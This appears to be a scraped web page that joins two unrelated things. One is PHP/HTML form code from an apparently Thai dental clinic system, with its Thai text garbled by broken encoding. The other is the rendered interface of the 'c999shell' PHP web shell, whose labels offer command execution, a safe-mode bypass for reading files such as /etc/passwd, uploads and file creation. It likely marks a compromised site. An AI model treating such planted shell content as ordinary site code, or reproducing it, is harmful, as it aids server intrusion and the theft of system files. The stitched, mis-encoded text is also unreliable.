                        
                        <tr>
                          <td bgcolor="#ECF5FF">&nbsp;</td>
                          <td colspan="3" bgcolor="#ECF5FF"><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                            <font size="2" face="Tahoma"><span class="style1"><span class="style10"><span class="style11"><font color="#FF0000" face="Tahoma">*</font> </span></span></span></font></font></strong></font><font face="Tahoma"><font color="#003366" face="Tahoma"><font face="Tahoma"><span class="style1"><span class="style10">ÍÒÂØÃàÇ·¼ÙéµÃǨ</span></span></font></font></font><font size="2" face="Tahoma"><font color="#003366" size="2" face="Tahoma"><strong>
                            <select name="Teacher_code" id="Teacher_code" class="d">
                              <?php
	       $strSQL2 = "SELECT * FROM  personal_tb  Where   Dentis_code ='03'   ";
		   $result2 = mysql_query($strSQL2);
			     while( $rs2 = mysql_fetch_array($result2)) 	
					 {
			     echo"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[First_name]&nbsp;$rs2[Teacher_name]&nbsp; $rs2[Teacher_lastname]</b></option>\n";
				}
			
	
	      ?>
                                                                                    </select>
                              </strong></font></font></td>
                          <td>&nbsp;</td>
                        </tr>
                        
                        <tr>
                          <td width="8%" bgcolor="#FFFFFF"><div align="center"><span class="style10"><span class="style11"><font face="Tahoma"> </font></span></span></div></td>
                          <td colspan="3" bgcolor="#FFFFFF"><font size="2" face="Tahoma"> Ø</font> <font size="2" face="Tahoma"><span class="style1"><span class="style10"><span class="style11"><font color="#FF0000" face="Tahoma">*</font> </span></span><span class="style13">¾¹Ñ¡§Ò¹¹Ç´ </span><strong><font color="#003366" size="2" face="Tahoma">
                            <select name="massegeId" id="massegeId" class="d">
                              <?php
	       $strSQL2 = "SELECT * FROM  massege_db   Where  statusId='1'     ";
		   $result2 = mysql_query($strSQL2);
			     while( $rs2 = mysql_fetch_array($result2)) 	
					 {
			     echo"<option value=\"$rs2[massegeId]\" ><b>$rs2[First_name]&nbsp;$rs2[Name]&nbsp; $rs2[Lastname]</b></option>\n";
				}
			
				CloseDB();  
	      ?>
                            </select>
                            <input name="Group_4" type="radio" value="à¤ÂÁÒÃÑ¡Éҷѹµ¡ÃÃÁ" />
                          </font></strong></span><span class="style13"><font size="2" face="Tahoma">à¤ÂÁÒãªéºÃÔ¡ÒÃ</font></span></font> </td>
                          <td width="3%">&nbsp;</td>
                        </tr>
                        <tr>
                          <td height="22" colspan="5" bgcolor="#FFFFFF"><div align="center" class="style2"><font size="2" face="Tahoma">»ÃÐÇѵԡÒÃá¾éÂÒ </font></div></td>
                        </tr>
                        <tr>
                          <td><div align="center"></div></td>
                          <td><div align="right" class="style3">
                              <div align="center"><font size="2" face="Tahoma"> 1.á¾éÂÒ</font>.</div>
                          </div></td>
                          <td><font color="#000066" size="2" face="Tahoma">
                            <input name="Group_1" type="text" class="d" id="Group_1" onkeypress="return handleEnter(this, event)" size="30" />
                          </font></td>
                          <td>&nbsp;</td>
                          <td>&nbsp;</td>
                        </tr>
                        <tr>
                          <td><div align="center"><font size="2" face="Tahoma"> </font></div></td>
                          <td><div align="center" class="style1"><font size="2" face="Tahoma">2.á¾éÂÒ</font>.</div></td>
                          <td><font color="#000066" size="2" face="Tahoma">
                            <input name="Group_2" type="text" class="d" id="Group_2" onkeypress="return handleEnter(this, event)" size="30" />
                          </font><font size="2" face="Tahoma">&nbsp; </font></td>
                          <td>&nbsp;</td>
                          <td>&nbsp;</td>
                        </tr>
                        <tr>
                          <td><div align="center"><font size="2" face="Tahoma"> </font></div></td>
                          <td width="18%"><div align="center" class="style1"><font size="2" face="Tahoma">3.á¾éÂÒ</font>.</div></td>
                          <td width="45%"><font color="#000066" size="2" face="Tahoma">
                            <input name="Group_3" type="text" class="d" id="Group_3" onkeypress="return handleEnter(this, event)" size="30" />
                          </font><font size="2" face="Tahoma">&nbsp; </font></td>
                          <td width="26%">&nbsp;</td>
                          <td>&nbsp;</td>
                        </tr>
                        <tr>
                          <td><div align="center"><font size="2" face="Tahoma"> </font></div></td>
                          <td><div align="center"></div></td>
                          <td><font color="#000066" size="2" face="Tahoma">&nbsp; </font><font size="2" face="Tahoma">&nbsp; </font></td>
                          <td>&nbsp;</td>
                          <td>&nbsp;</td>
                        </tr>
                    </table></td>
                  </tr>
                  <tr bgcolor="#B6D0F1">
                    <td height="21" colspan="3" nowrap="nowrap" bordercolor="#CCCCCC" background="../Image/centerpix.gif"><div align="center"><font color="#003366" size="2" face="Tahoma"></font></div></td>
                  </tr>
                  <tr bgcolor="#ECF5FF">
                    <td height="101" nowrap="nowrap" bordercolor="#CCCCCC"><div align="center"><font color="#003366" size="2" face="Tahoma">ÃÙ»ÀÒ¾</font></div></td>
                    <td bordercolor="#CCCCCC">&nbsp;</td>
                    <td nowrap="nowrap" bordercolor="#99CCFF"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                        <tr>
                          <td><div align="center"> <font face="Tahoma, MS Sans Serif">
                              <input name="Img1" type="file" id="Img1" onchange="browse()" />
                          </font></div></td>
                          <td><div align="left"><font face="Tahoma, MS Sans Serif"><img src=" " name="Imag1" width="100" height="100" id="Imag1" /> </font></div></td>
                        </tr>
                    </table></td>
                  </tr>
                  <tr bgcolor="#CFE0F5">
                    <td height="20" colspan="3"><div align="center">
                      <input type="submit" name="Submit" value="  ºÑ¹·Ö¡¢éÍÁÙÅ" />
                      &nbsp; &nbsp;
                      <input type="reset" name="Reset" value="  ¡àÅÔ¡">
                    </div></td>
                  </tr>
                </table>
			  </form>
			  <br>
			  <br>
			</div></label>
		</fieldset><br>
	  <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>ËÁÒÂà赯 :</b> ãªéàÁÒÊì¤ÅÔ¡·Õèª×èÍ</font></td>
	</tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd
Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 
:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0072 ]--